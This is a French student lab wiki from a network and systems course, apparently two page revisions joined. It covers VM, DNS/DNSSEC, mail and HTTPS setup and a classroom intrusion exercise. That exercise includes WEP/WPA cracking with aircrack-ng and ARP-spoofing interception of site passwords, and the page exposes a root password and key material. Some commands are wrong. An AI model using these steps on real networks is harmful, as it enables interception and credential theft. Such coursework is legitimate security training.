Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=54012TP sysres IMA2a5 2020/2021 G52020-11-27T17:07:25Z<p>Aglaine : /* Architecture réseau */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168/26<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|2001:660:4401:60a2:216:3eff:fe95:d093/64<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|http://www.glopglop.site/<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|https://www.glopglop.site/<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on ajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une passerelle doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interface avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comme ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
L'architecture du réseau est la suivante : <br />
[[Fichier:Architecture2-MA2a5-2020_2021.JPG]]<br />
<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
On peux maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par Gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié notre DNS a une ip, il faut renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas Gandi ne pourras pas liée les DNS a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon notre système de clef ne fonctionnera pas.<br />
pour commencer, on crée un répertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les renommer pour plus de transparence.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a Gandi comme montrer ci-dessous en n'oubliant pas de sélectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le DNS et représente la chaine d'authentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une messagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérification de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenêtre de configuration s'ouvre. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la réception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les message reçu en tapant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on reçoit bien les message en provenance du mail de Polytech.<br />
Pour que Gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoin de pouvoir recevoir les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commande <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différant care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyé le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de Gandi on reçoit un code de confirmation ainsi qu'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers Gandi a téléchargé]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
Le service ne fonctionne pas encore car on a rien qui écoute le port 442. <br />
/etc/apache2/sites-available/default-ssl.conf <br />
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk<br />
service bind9 restart<br />
Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'<br />
<br />
On vérifie que tout fonctionne bien avec les commandes : <br />
host www.glopglop.site<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
host www.glopglop.site ns6.gandi.net<br />
Using domain server:<br />
Name: ns6.gandi.net<br />
Address: 2001:4b98:d:1::40#53<br />
Aliases: <br />
<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'<br />
<br />
[[Fichier:Glopglop.site_Securisé.png|1000px|thumb|left|GlopGlop.site en Https]]<br />
<br style="clear: both;" \><br />
<br />
on a maintenant un site sécurisé en 'https'<br />
<br />
====Modification de la page d'accueille Apashe2====<br />
<br />
Pour éviter d'avoir la page de base Apash2, on va modifier le fichier 'index.html' pour cela il suffit d'éditer le fichier avec vim avec la commande <code>vim /var/www/html/index.html</code>.<br />
<br />
Le site : https://www.w3schools.com/html/html_examples.asp explique comment faire sa propre page web.<br />
la page pour le site 'glopglop.site' ne sert que d'exemple si on veux une page plus élaborer des template sont directement disponible sur le net avec en prime les fichiers css pour obtenir un site vraiment attractif. mais on cherche juste pour le moment a avoir une page différente de test.<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
